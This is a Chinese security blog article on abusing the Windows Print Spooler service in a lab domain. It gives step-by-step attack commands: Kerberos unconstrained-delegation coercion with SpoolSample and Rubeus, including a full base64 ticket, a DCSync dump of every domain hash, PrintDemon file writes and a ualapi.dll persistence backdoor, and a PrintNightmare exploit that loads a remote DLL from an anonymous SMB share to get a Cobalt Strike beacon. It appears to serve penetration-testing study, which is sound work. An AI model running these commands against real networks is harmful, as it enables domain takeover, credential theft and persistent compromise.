查看原文
其他

是谁动了我的打印机服务? | 技术精选0125

Mr. Wu 酒仙桥六号部队 2022-11-25

本文约7300字,阅读约需15分钟。


WindowsPrintSpooler是Windows的打印机后台处理程序,广泛地应用于各种内网中。
因此在攻防演练中,红队成员进行内网横向的时候,也可以借助PrintSpooler的漏洞进行特权提升和获取域控权限等。
对于蓝队成员,要更多地关注PrintSpooler漏洞带来的影响和危害,进一步做好防御。

1
WindowsPrint Spooler
PrintSpooler是打印后台处理服务,管理所有本地和网络打印队列及控制所有打印工作。该服务会发送要打印的数据给USB/并行端口、位于本地网络或互联网上的打印机的TCP端口或本地文件。
PrintSpooler在Windows环境中作为具有SYSTEM级权限的服务运行,该服务默认运行在域控制器上,许多服务器也是默认配置为使用PrintSpooler。
存储关键数据,且不需要打印后台处理程序但默认配置的常见服务器列表有:
  • 域控制器和ActiveDirectory;
  • 域内服务器,例如SQL、文件系统和Exchange服务器;
  • 不需要打印的机器。

2
 相关CVE
CVE-2020-1048(在 Black Hat 2020 上展示的 Windows Print Spooler 中的特权提升漏洞;在野外被利用,Metasploit 模块可用);
CVE-2020-1337(绕过CVE-2020-1048 的补丁;Metasploit 模块可用);
CVE-2020-17001(CVE-2020-1048 的补丁绕过变体);
CVE-2020-17014(CVE-2020-1048 的补丁绕过变体);
CVE-2020-1300(在 DEF CON 2020 上展示的称为“ EvilPrinter ”的本地提权技术);
CVE-2021-24088(Windows 本地假脱机程序中的新远程代码执行漏洞,如 Black Hat 2021 所示);
CVE-2021-24077(Windows 传真服务中的新远程代码执行漏洞,如 Black Hat 2021 所示);
CVE-2021-1722(Windows 传真服务中的新远程代码执行漏洞,如 Black Hat 2021 所示);
CVE-2021-1675(2021 年 6 月修补的 Windows Print Spooler 中的特权提升漏洞);
CVE-2021-34527,又名“PrintNightmare”;
CVE-2021-35449(打印驱动程序本地提权漏洞,在 DEF CON 2021 上提出;Metasploit 模块正在进行中);
CVE-2021-38085(未打补丁的打印驱动程序的本地权限提升漏洞,因为呈现在DEF CON 2021; Metasploit的模块进行中);
CVE-2021-36958(未修补的远程代码执行漏洞;2021 年 8 月 11 日公布)。
3
漏洞利用
目前,已知PrintDemon(CVE-2020-1048)和PrintNightmare(CVE-2021-34527)都在野外被利用,PrintSpooler也可以搭配非约束委派进行利用。所以本文主要介绍以下几种利用方式:

域控制器打印服务器+非约束Kerberos委派=DCSync


漏洞原理如下:
利用Windows打印系统远程协议(MS-RPRN)中的一种虽然老旧,但默认启用的方法。在该方法中,域用户可以使用:
MS-RPRNRpcRemoteFindFirstPrinterChangeNotification(Ex)
这一方法强制任何运行了Spooler服务的计算机,以通过Kerberos或NTLM对攻击者选择的目标进行身份验证。
利用条件如下:
  • 具有Kerberos无约束委派授权的账户;

  • 能够攻陷该账户;

  • 域控制器作为打印服务器运行(Print Spooler服务正在运行)。


漏洞环境如下:
域:dcyu.com;域控:IP:10.10.10.1;系统:Win2012;主机名:AD;用户:administrator;域内主机:IP:10.10.10.10系统:Win2012;主机名:web01;域用户:web01。
利用工具如下:
AdFind.exe(http://www.joeware.net/freetools/tools/adfind/)Impacket(https://github.com/SecureAuthCorp/impacket)SpoolSample(https://github.com/leechristensen/SpoolSample)Rubeus(https://github.com/GhostPack/Rubeus)
利用方法如下:
(1)发现域内开启非约束委派的用户和主机,查询域内配置非约束委派的用户:
AdFind.exe -b "DC=dcyu,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询域内配置非约束委派的主机:

AdFind.exe -b "DC=dcyu,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
注:也可以使用Powershell或者Ldap进行查询。


从图中可以看出主机web01配置了非约束委派。(域控主机默认配置非约束委派)
(2)查看域控主机上是否运行PrintSpooler服务:
ls\\ad\pipe\spoolss

有显示spoolss即为域控主机上运行了PrintSpooler服务,如果没有运行,我们将收到一个错误信息。
还有另一种方法。我们可以使用impacket中rpcdump.py脚本扫描存在PrintSpooler服务的主机:
python3rpcdump.py @10.10.10.1 | egrep 'MS-RPRN|MS-PAR'

如图所示为存在PrintSpooler服务,未显示信息则不存在。
(3)使用Rubeus监听来自域控(AD)的4624登录日志(需要管理员权限):

Rubeus.exemonitor /interval:1 /filteruser:ad$

(4)在web01主机上运行SpoolSample.exe,向域控(AD)的Spooler服务发送请求,强制域控(AD)向web01主机发起认证:
SpoolSample.exead web01

看到返回上述消息,表明域控主机对我们的web01主机进行身份验证了。
(5)捕捉到来自域控(AD)的认证请求,导出其TGT数据:

(6)使用Rubues进行PTT票据传递:
PTT操作将通过LsaCallAuthenticationPackage()API提交当前登录会话的(TGT或服务票证),其中包含KERB_SUBMIT_TKT_REQUEST消息,或者(如果已提升)由指定的登录会话"/luid:0xA.."。
与其他"/ticket:X"参数一样,该值可以是".kirbi"文件的base64编码或磁盘上".kirbi"文件的路径。
使用Rubues导入base64的ticket:
Rubeus.exe ptt /ticket:doIEyDCCBMSgAwIBBaEDAgEWooID3jCCA9phggPWMIID0qADAgEFoQobCERDWVUuQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0GwhEQ1lVLkNPTaOCA54wggOaoAMCARKhAwIBAqKCA4wEggOIhEAzA7s8DXecjlils7N3XcCNXNH+742I3JKu20KSFPrZ3xfVuu4M9vQ7fYkc5LG/DvhZXM31lQSpZpKZb7s9Rw/Z7iaHF94eUAdU02Cr1ZNXeggpdEkEJzyaMZs0N95G+7vQwQ8HME1+Ls/NzzhshKStU9VMPJXMitGNTKSrpZLddT9ehET5v6bh7NRAQ/8G4s3WHT6v52EwG0jppRYEpgeVr22ICKq+aiZvdklqukJ1XMd0NBbbjutqH5+0EdfH5HPQpc9LTuyiBCcENZ3ZBKHp1EecXFxDaXThWVVtN52KdZ3s1FflawxxY3tiv04JqUoGwU4Dw6NUBQjaHnjQbtY4A6Ua7SRmdNtIpN5InxXKe/aK0said1DAJz8gez4oj5FeZzsDqp3o6TE5oCuNYMpHxMnwreD58/eiTNJR/5yQkoTDArt2c9ACdwUhGOH+hfDEpFGTS0cy+N1OrAdY7BSM0uEfxRyFtMnWcbO3eGlQR6H2EAMiqns0+sc8Pr/JgQCAA0zTxblrNQwbnhNRkna9m972bRgDJM36HQN4RGLErWcRexVkXVSe4VTCMW2DoDjq2VGvfHuszex+y0zRbRbI+jGYfwOqgcqshV4QhtZxxqmH9c5tqZH/AjoF6Kq8HZIjq7FzujPuu4daQl5v2EDLiGNG4/SwJyMaBbTiDY7JF+JAm/MydueDxV6q3iRfUlyXIAs1WPfe56huQc/ZaTJZP3Od1mhsBb1vx8cx+2FBmEnnDMmXOKLM6i44TJ12Hejz6zsJNnkCvwsSCIPI6xmB+lcRqpV6UFSNOSKf/wQap/TrZG+6peFBFFcJGMm3fA8U5xnIagZ6wuZUxsB+M/Mxm5E6u3fOVXWiFOodo/UNlO+VBNnBXRXsmu48T66Fndecpa/R7Kp1AvZhicErzY/q527YWu7AxlOoQichYcTELwJ9SOn0gpx9Rv7JhHY/ka9usGFnXukI9YYS1hY/vyUlNMZrvzhtDdALVSHc87md3wqOIWTwXVR5O4o6xgeKNmNbQBu8JeEYbt3LOGrKRMIJWCSSFHTNnlmeIrWTTOeanbZpuAnzcuyMyI1W8/s2PlycqmRh0POMmy1/ITOJHQmHgQYeaMpDhuCnUvvIGWs+LeBhdoLyyXHdnYokQ6Gc285lnJ9xJy2vv2nc9rvjHHVlUC0WnnlZlFuGiQCyBf8D6JCS1YmvOKOB1TCB0qADAgEAooHKBIHHfYHEMIHBoIG+MIG7MIG4oCswKaADAgESoSIEICdPOOt8xHFIpO+5u1BCUv2tjnemIILIHn8UJnZH9g0AoQobCERDWVUuQ09NohAwDqADAgEBoQcwBRsDQUQkowcDBQBgoQAApREYDzIwMjExMjI2MTMyNTI5WqYRGA8yMDIxMTIyNjIzMjUyOVqnERgPMjAyMjAxMDIxMzI1MjlaqAobCERDWVUuQ09NqR0wG6ADAgECoRQwEhsGa3JidGd0GwhEQ1lVLkNPTQ==


(7)成功导入TGT后,查看可用票据:
klist

如图所示,我们获得了域控主机(AD)的TGT票据(默认情况下,域控制器计算机账户对域对象具有DCSync权限)。
(8)利用DCSync导出域内所有用户hash:
lsadump::dcsync/domain:dcyu.com /all /csv

我们可以进一步进行Hash传递或者进行黄金票据等。

PrintDemon(CVE-2020-1048)


漏洞原理如下:

WindowsPrint Spooler服务不恰当地允许任意的文件系统写入,存在本地特权提升漏洞。
该漏洞由安全研究人员AlexIonescu和YardenShafir发现,并被命名为PrintDemon。
Windows添加打印机时,对portname的检查函数可以被绕过,设置为任意文件,因此我们可以把任意内容输出到portname对应的系统文件(如某个dll)中,实现权限提升。
攻击者可以利用该漏洞执行类似PowerShell命令,获取管理员级别系统权限,执行任意代码。
再来看利用条件。要利用此漏洞,攻击者必须登录受影响的系统并运行特制的脚本或应用程序。
影响范围如下:
Microsoft Windows 10,Windows 10 1607版本,Windows 10 1709版本,Windows 10 1803版本,Windows 10 1809版本,Windows 10 1903版本,Windows 10 1909版本,Windows 7 SP1,Windows 8.1,Windows RT 8.1,Windows Server 2008 SP2,Windows Server 2008 R2 SP1,Windows Server 2012,Windows Server 2012 R2,Windows Server 2016,Windows Server 2019,Windows Server 1803版本,Windows Server 1903版本,Windows Server 1909版本。
漏洞环境如下:

系统:Win10 X64 1607企业版;
添加普通用户账户PrintDemon:
netuser PrintDemon ad@12345 /add

最后还是聊聊利用方法。利用方法大体分为两类,其一是假装创建一个打印机,向文件系统中写入数据:
(1)安装驱动:
Add-PrinterDriver -Name "Generic / Text Only"

枚举已安装的驱动:
Get-PrinterDriver

(2)将打印机与某个端口绑定(端口可以使用文件):
Add-PrinterPort -Name "C:\Windows\system32\PrintDemon.txt"

获取打印机端口信息:
Get-PrinterPort | ft name

(3)利用打印机驱动和端口创建并绑定一个打印机:
Add-Printer -Name "PrintDemon" -DriverName "Generic /Text Only" -PortName "C:\Windows\system32\PrintDemon.txt"

查看打印机绑定情况:
Get-Printer | ft Name,DriverName,PortName

也可以在系统中“设备与打印机”中查看,多了一台名为“PrintDemon”的打印机:

(4)执行打印操作:
"Hello, World!" | Out-Printer -Name "PrintDemon"

目前显示“错误,正在打印”,需要重启主机或者重启spooler服务,使得以SYSTEM权限运行,才会将内容写入到文件中.
未重启前:

重启后:

查看文件内容:
type C:\Windows\system32\PrintDemon.txt

方法其二则是持久化后门。
在未打补丁的系统PowerShell窗口中输入:
Add-PrinterPort-Namec:\windows\system32\ualapi.dll
随后就能在系统上留下一个持久化后门。只需要将一个MZ文件“打印”到刚刚创建的打印机,就能大功告成。

方法三则是CVE-2020-1048补丁绕过方式。
  • 利用CVE-2020-1337;

  • 利用CVE-2020-17001。


PrintNightmare(CVE-2021-34527)


此漏洞一开始为CVE-2021-1675,随后微软把此漏洞分配给了CVE-2021-34527,并提到了两个漏洞很像,但是攻击向量是不同的。
CVE-2021-1675的漏洞成因在于RpcAddPrinterDriverEx中,函数逻辑校验不严格,利用该漏洞,攻击者可以将普通用户权限提升至System权限。之后,微软紧急发布补丁对该漏洞进行修复。
但CVE-2021-34527绕过了微软的这个修复,CVE-2021-34527使用到了另一个打印服务的API:RpcAsyncAddPrinterDriver,该函数同样存在校验不严格的问题,是一个严重的远程代码执行漏洞。
成功利用此漏洞的攻击者可以使用SYSTEM权限运行任意代码。然后攻击者可以安装程序、查看、更改或删除数据,或创建具有完全用户权限的新账户。
漏洞利用条件如下:
  • 目标开启Spooler服务;

  • 一个普通权限的域账户;

  • 创建的smb服务允许匿名访问,即目标可以直接获取到文件。


漏洞环境如下:
域:dcyu.com;域控:IP:192.168.194.131;系统:Win2019;主机名:AD;用户:administrator;域内主机:IP:192.168.194.135;系统:Win2019;主机名:web01;域用户:web01攻击主机:IP:192.168.194.130;系统:Kali。
利用工具如下:
https://github.com/cube0x0/CVE-2021-1675https://github.com/cube0x0/impacket
利用方法如下:
(1)查看域控主机上是否运行PrintSpooler服务:
ls\\AD\pipe\spoolss   

(2)在web01中开启SMB匿名访问:
Windows下用于构建匿名SMB文件服务器脚本(By3gstudent):
https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer
cube0x0的powershell脚本:
https://github.com/cube0x0/CVE-2021-1675
mkdir C:\shareicacls C:\share\ /T /grant Anonymous` logon:ricacls C:\share\ /T /grant Everyone:rNew-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipesREG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /fREG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /fREG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f# Reboot
复制上面信息到一个ps1文件中,在Powershell下使用管理员权限运行,即可在Windows下开启SMB匿名访问。

(3)扫描潜在的易受攻击的主机:
首先安装impacket包:
git clone https://github.com/cube0x0/impacketcd impacketpython3 ./setup.py install
然后,Kali使用rpcdump.py来扫描潜在的易受攻击的主机:

rpcdump.py @192.168.194.131 | egrep 'MS-RPRN|MS-PAR'


有返回信息,说明它可能是易受攻击的。
(4)CS生成DLL文件并将文件放在共享目录下:

(5)Kali中漏洞利用,远程加载共享目录下的DLL文件:
./CVE-2021-1675.py dcyu.com/web01@192.168.194.131 '\\192.168.194.135\share\b64.dll'


(6)执行成功,上线CS:

这一漏洞的利用场景如下:
CVE-2021-1675/CVE-2021-1675漏洞可以利用于以下场景:
在工作组环境下,可通过该漏洞获取系统最高权限;
域环境下,直接攻击域控制器可以获取域控的SYSTEM权限,执行任意代码;
可用于持久化的操作,得到域控后,在有共享目录、能访问到域控的情况下,远程的加载共享目录下的DLL。
4
参考
https://book.hacktricks.xyz/windows/active-directory-methodology/printers-spooler-service-abusehttps://pentestlab.blog/2021/08/02/universal-privilege-escalation-and-persistence-printer/https://www.rapid7.com/blog/post/2021/08/12/popular-attack-surfaces-august-2021-what-you-need-to-know/https://adsecurity.org/?p=4056https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527https://paper.seebug.org/1635/

- END -

往期推荐

记一次卑微的渗透测试

pwn入门之栈入门

MYSQL另类利用方式

长按下方图片即可关注

点击下方阅读原文,加入社群,读者作者无障碍交流

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存